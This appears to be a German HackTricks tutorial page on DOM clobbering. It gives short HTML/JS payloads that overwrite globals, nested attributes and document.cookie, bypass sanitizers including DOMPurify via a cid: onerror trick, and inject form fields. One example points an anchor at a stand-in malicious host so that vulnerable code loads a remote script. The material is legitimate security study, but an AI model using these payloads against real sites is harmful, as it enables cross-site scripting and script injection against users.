Dom Clobbering

Support HackTricks

Grundlagen

Es ist möglich, globale Variablen im JS-Kontext mit den Attributen id und name in HTML-Tags zu generieren.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Nur bestimmte Elemente können das name-Attribut verwenden, um Globals zu clobbern, und zwar: embed, form, iframe, image, img und object.

Interessanterweise, wenn Sie ein Formular-Element verwenden, um eine Variable zu clobbern, erhalten Sie den toString-Wert des Elements selbst: [object HTMLFormElement], aber bei Anker wird der toString der Anker href sein. Daher können Sie, wenn Sie mit dem a-Tag clobbern, den Wert steuern, wenn er als Zeichenfolge behandelt wird:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

Es ist auch möglich, ein Array und Objektattribute zu überschreiben:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Um ein 3. Attribut (z.B. x.y.z) zu überschreiben, müssen Sie ein form verwenden:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering mehr Attribute ist komplizierter, aber immer noch möglich, unter Verwendung von iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Das style-Tag wird verwendet, um genug Zeit für das Rendern des iframes zu geben. Ohne es erhalten Sie eine Warnung von undefined.

Um tiefere Attribute zu überschreiben, können Sie iframes mit HTML-Codierung auf diese Weise verwenden:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Filter Bypassing

Wenn ein Filter durch die Eigenschaften eines Knotens mit etwas wie document.getElementByID('x').attributes schleift, könntest du das Attribut .attributes überschreiben und den Filter unterbrechen. Andere DOM-Eigenschaften wie tagName, nodeName oder parentNode und mehr sind ebenfalls überschreibbar.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

In JavaScript ist es üblich, Folgendes zu finden:

var someObject = window.someObject || {};

Das Manipulieren von HTML auf der Seite ermöglicht das Überschreiben von someObject mit einem DOM-Knoten, was potenziell Sicherheitsanfälligkeiten einführt. Zum Beispiel können Sie someObject durch ein Ankerelement ersetzen, das auf ein bösartiges Skript verweist:

<a id=someObject href=//malicious-website.com/malicious.js></a>

In einem anfälligen Code wie:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Diese Methode nutzt die Skriptquelle aus, um unerwünschten Code auszuführen.

Trick: DOMPurify erlaubt es, das cid:-Protokoll zu verwenden, das doppelte Anführungszeichen nicht URL-kodiert. Das bedeutet, dass Sie ein kodiertes doppeltes Anführungszeichen injizieren können, das zur Laufzeit dekodiert wird. Daher wird das Injizieren von etwas wie <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> dazu führen, dass das HTML-kodierte &quot; zur Laufzeit dekodiert wird und aus dem Attributwert entkommt, um das onerror-Ereignis zu erzeugen.

Eine andere Technik verwendet ein form-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formularelements, um sie zu bereinigen. Durch das Hinzufügen eines input mit id=attributes innerhalb des Formulars überschreiben Sie jedoch effektiv die Eigenschaften der Attribute, wodurch der Sanitizer daran gehindert wird, auf die tatsächlichen Attribute zuzugreifen.

Sie können ein Beispiel für diese Art von Clobbering in diesem CTF-Bericht finden.

Clobbering des Dokumentobjekts

Laut der Dokumentation ist es möglich, Attribute des Dokumentobjekts mithilfe von DOM Clobbering zu überschreiben:

Die Document Schnittstelle unterstützt benannte Eigenschaften. Die unterstützten Eigenschaftsnamen eines Document Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in Baumreihenfolge entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden, und mit Werten aus id Attributen, die vor Werten aus Namensattributen kommen, wenn dasselbe Element beide beiträgt:

- Der Wert des Namensinhaltsattributs für alle exponierten embed, form, iframe, img und exponierten object Elemente, die ein nicht leeres Namensinhaltattribut haben und sich in einem Dokumentbaum mit dem Dokument als ihrem Wurzel befinden; - Der Wert des id Inhaltsattributs für alle exponierten object Elemente, die ein nicht leeres id Inhaltsattribut haben und sich in einem Dokumentbaum mit dem Dokument als ihrem Wurzel befinden; - Der Wert des id Inhaltsattributs für alle img Elemente, die sowohl ein nicht leeres id Inhaltsattribut als auch ein nicht leeres Namensinhaltattribut haben und sich in einem Dokumentbaum mit dem Dokument als ihrem Wurzel befinden.

Mit dieser Technik können Sie häufig verwendete Werte wie document.cookie, document.body, document.children und sogar Methoden in der Document-Schnittstelle wie document.querySelector überschreiben.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Schreiben nach dem Element, das überschrieben wurde

Die Ergebnisse von Aufrufen von document.getElementById() und document.querySelector() können verändert werden, indem ein <html>- oder <body>-Tag mit einem identischen id-Attribut injiziert wird. So kann es gemacht werden:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Darüber hinaus kann durch den Einsatz von Stilen, um diese injizierten HTML/body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im innerText verhindert werden, wodurch die Wirksamkeit des Angriffs erhöht wird:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Untersuchungen zu SVG haben ergeben, dass ein <body>-Tag ebenfalls effektiv genutzt werden kann:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Um das HTML-Tag innerhalb von SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein <foreignobject>-Tag erforderlich:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

Es ist möglich, neue Einträge in ein Formular hinzuzufügen, indem man einfach das form-Attribut innerhalb einiger Tags angibt. Man kann dies verwenden, um neue Werte in ein Formular hinzuzufügen und sogar einen neuen Button hinzuzufügen, um ihn zu senden (Clickjacking oder Missbrauch von etwas .click() JS-Code):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Referenzen

Unterstützen Sie HackTricks

Last updated